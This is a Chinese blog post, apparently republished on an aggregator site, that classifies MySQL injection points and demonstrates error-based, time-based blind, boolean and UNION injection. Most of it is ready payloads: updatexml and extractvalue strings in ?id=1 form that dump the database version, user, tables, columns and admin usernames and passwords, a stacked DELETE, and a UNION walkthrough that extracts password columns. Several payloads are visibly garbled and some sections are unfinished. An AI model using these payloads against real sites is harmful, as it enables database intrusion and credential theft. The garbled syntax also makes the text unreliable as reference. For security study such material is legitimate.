MySQL注入点与SQL语句的关系

注入位置分类

MySQL注入点与SQL语句的关系

这个分类方式是我自己想的,可能会有一些不准确。如图所示注入方式有3种,内联、终止、堆叠。每种注入方式又根据服务器的响应分为4类,时间延迟、报错、布尔、将执行结果直接输出。

为什么给注入作分类?

sql语句添加了注入语句之后,需要SQL编译器还是能正常编译并执行,才能达成攻击目的,不同的SQL语句写法,加入的位置会有不同,不同的位置有不同的区别,这里说的 不同就是本文研究的对象。

内联式 – UNION query SQL injection

MySQL注入点与SQL语句的关系

图案说明:

MySQL注入点与SQL语句的关系

终止式 – End SQL injection

select * from users where name='test' or id>40;

select * from users where name='test'; -- or id>40;

画图说明:

MySQL注入点与SQL语句的关系

堆叠式 – Stacked queries SQL injection

MySQL注入点与SQL语句的关系
select * from users where id>40;delete from users where id=44;

MySQL注入点与SQL语句的关系
id=44被删除了,说明用 ;堆叠起来的sql语句是能执行的。

画图说明:

MySQL注入点与SQL语句的关系

显示方式 – Respons of to show

显示方式指,你注入的是服务器的数据库,那么不管成功还是失败,都会得到服务器给你的响应。通过响应你才能知道你注入的语句执行成功了没,通过响应你才能拿到数据库里面的信息。而不同的业务场景、不同的开发就会有不同的响应显示方式,一般有报错返回、布尔返回、什么都不显示(通过时间延迟显示延迟数)。

报错注入 – Error-based SQL injection

报错注入有两种利用方式,一种是通过if( )函数,当判断出错的时候,就报错。一种是利用updatexml( )函数,直接将查询的内容通过报错信息展示出来。

if( )函数

0x7e (HEX码) = ~ (ASCII码)

假设要查询的name=lisi:

MySQL注入点与SQL语句的关系
select name from users where id=1;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,exp(~(select * from (select user () ) a) ));

判读 lisi 第一个值为 i 报错:

MySQL注入点与SQL语句的关系

判读 lisi 第一个值为 l 正常输出查询内容:

MySQL注入点与SQL语句的关系

找了一些生僻函数用来报错:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

updatexml( )函数

updatexml( )函数的作用是对XML文档查询、修改、更新。在注入场景下的作用是将查询的内容通过报错信息展示出来。

①爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
②链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

example:

MySQL注入点与SQL语句的关系

MySQL注入点与SQL语句的关系

时间延迟注入 – Time-based blind SQL injection

if( )

select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5));

out:

sql> select * from users where name='lisi'
[2019-09-04 18:57:32] 1 row retrieved starting from 1 in 48 ms (execution: 7 ms, fetching: 41 ms)
sql> select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5))
[2019-09-04 18:57:43] 0 rows retrieved in 5 s 25 ms (execution: 5 s 4 ms, fetching: 21 ms)

MySQL注入点与SQL语句的关系
当if判断的字符不为预期的时候延时5秒。

benchmark( )

语法:

benchmark(count,expr)  --- 函数重复

Example:

select benchmark(50000,md5('test'));
#0.15sec
select benchmark(5000000,md5('test'));
#1.54sec
select benchmark(50000000,md5('test'));
#14.71sec

布尔注入 – Boolean-based blind SQL injection

select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and substring((select name from users where id=1),1,1)='i' and id < 20;

MySQL注入点与SQL语句的关系
逻辑判断字符为预期时,正常输出查询内容。

MySQL注入点与SQL语句的关系
逻辑判断字符不为预期时,查询不出内容。

回显执行结果注入

这个在实战中不常见。一般靶机才会这么写。有小概率会碰到例外。

总结

我感觉时间延迟注入、报错注入、布尔注入利用都差不多,只不过是改成时间、报错、逻辑值的方式让值输出来而已。

终止式 + 回显执行结果的注入案例

1.确认有无注入

1' and '1' ='1
1' and '1' ='2
1' and "1" ="1
1' and "1" ="2
1 and 1 = 1
1 and 1 = 2

2.判断他select几列
order by n 或者 untion select 1,2,3,n 效果一样。

select name,password from users where name='lisi' order by 2; #超过2就报错
or
select name,password from users where name='lisi' union select 1,2; # 1,2,3 超过2列就报错

select name,password from users where name='lisi' union select 1,database();

3.获取库名

select name,password from users where name='1' union select 1,database() #

4.获取表名

select name,password from users where name='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
#grup_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。简单就是 将相同的行组合起来

5.获取字段名

select name,password from users where name='1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

6.获取字段数据

select name,password from users where name='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

常见SQL语句有注入的位置

where

select name,password from users where name='lisi' and password='123456';

注入点在 where后面的查询参数 namepassword,这种是最典型的,使用内联式可能较方便。

insert

这个位置有点复杂,使用终止、堆叠都可能会报错,得采用内联类

正常语句:

insert into table (firstname,lastname) values ('john','smith');

注入语句:

insert into table (firstname,lastname) values ('john',(select top 1 name + '|' + master.sys.fn.varbintohexstr(password hash) form sys.sql logins))-- ','smith');

updata

使用终止式;
todo

detele

使用终止式;
todo

order by

使用终止式;
todo

like

使用终止式;
todo

limit

使用终止式;
todo

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

Original: https://www.cnblogs.com/mysticbinary/p/14402650.html
Author: Mysticbinary
Title: MySQL注入点与SQL语句的关系

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578353/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • ASP.NET Core 发布到Linux需要注意的地方

    ☆☆☆ 共同学习,欢迎拍砖;转载请注明出处,谢谢。欢迎关注我的公众号:闲聊编程。☆☆☆ Original: https://www.cnblogs.com/FlyLolo/p/11…

    Linux 2023年6月7日
    087
  • Centos7下载及安装

    Centos7下载及安装 1.下载虚拟机 虚拟机下载地址: https://www.vmware.com 或者 360一键安装(推荐) 2.在虚拟机上安装Centos7 2.1.通…

    Linux 2023年5月27日
    084
  • locate-updatedb命令检索不全

    执行updatedb 命令,用于立刻更新locate 命令所必需的数据库文件,但有些文件可能会在检索过程中被过滤掉。 有时候明明存在的文件,用find 命令都能搜得出来,但用loc…

    Linux 2023年6月13日
    086
  • 20 年老程序员告诉你的 20 条编码原则

    我从 1999 年就开始了编程生涯,到今年已经有 20 多年了。我先是从 Basic 开始,很快转到了 Pascal 和 C 语言,然后又学习了面向对象编程语言 Delphi 和 …

    Linux 2023年6月8日
    094
  • linux命令技巧

    linux命令文件夹处理: 1.cp 命令复制,修改名称(没有修改名称的直接命令,通过复制来修改名称)。 一般的命令很简单,cp -r dir1 /dir/ 这个命令是复制目录di…

    Linux 2023年6月13日
    094
  • webshell查杀的方法

    从您反馈的情况看,是您的网站被植入了webshel后门文件导致的。您可以先对当前的服务器做下快照备份,然后将您的网站代码拷贝到本地进行下webshell查杀:https://www…

    Linux 2023年5月28日
    0102
  • Redis 通过key前缀获取所有key的值

    Redis 通过key前缀获取所有key的值 public void getRedis(String cardId) { // 获取所有的key Set keys = redisT…

    Linux 2023年5月28日
    071
  • MySQL优化

    1.建立索引 (1)合理的索引能够加速数据读取效率,不合理的索引反而会拖慢响应速度; (2)索引越多,更新数据的速度越慢 (3)尽量在MyIsam作为引擎的时候使用索引 (4)可在…

    Linux 2023年6月7日
    056
  • WEB自动化-08-Cypress 接口测试

    8 接口测试 在服务和服务、系统和系统之间进行通信时,常常会使用到接口。通过接口测试,可以在项目早期更快发现问题。接口有很多类型,而现阶段使用的接口是基于HTTP协议的接口。 8….

    Linux 2023年6月7日
    0110
  • 从零开始构建Linux

    目的:深入了解以Linux内核为基础的系统是如何组成,运行,以构建一个最基础的,纯净的系统。 LFS构建步骤宿主机准备– linux操作系统安装– 使用独立…

    Linux 2023年6月7日
    094
  • 我可以不在校园

    我在校园自动打卡,仅作学习使用。 我在校园自动打卡,仅作学习使用 直达电梯:我可以不在校园 posted @2021-11-19 17:38 DominicKK 阅读(258 ) …

    Linux 2023年6月8日
    0106
  • linux man 中文手册安装

    Linux Man (手册) linux man 中文手册安装 步骤 下载源程序 解压文件并进入该目录 unzip master.zip ;cd master 安装支持程序 sud…

    Linux 2023年6月7日
    078
  • idea 运行 tyarn 命令提示系统禁止运行脚本

    无法加载文件D:……….(报错信息。。。),因为在此系统上禁止运行脚本,有关详细信息,请参阅 https:/go.microsoft.com/f…

    Linux 2023年6月13日
    086
  • 自动化集成:Pipeline整合Docker容器

    前言:该系列文章,围绕持续集成:Jenkins+Docker+K8S相关组件,实现自动化管理源码编译、打包、镜像构建、部署等操作; 本篇文章主要描述流水线集成Docker用法。 一…

    Linux 2023年5月27日
    0106
  • [ Linux ] Gnome3 禁用桌面屏保

    https://www.cnblogs.com/yeungchie/ gsettings gsettings set org.gnome.desktop.session idle-…

    Linux 2023年6月7日
    0100
  • JuiceFS 新手必知 24 问

    JuiceFS 是一个创新性的软件产品,很多初次尝试的小伙伴对产品和用法感到很多疑惑,所以为了帮助大家快速理解并上手 JuiceFS,我们整理了24个关于 JuiceFS 经典的问…

    Linux 2023年6月14日
    098
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球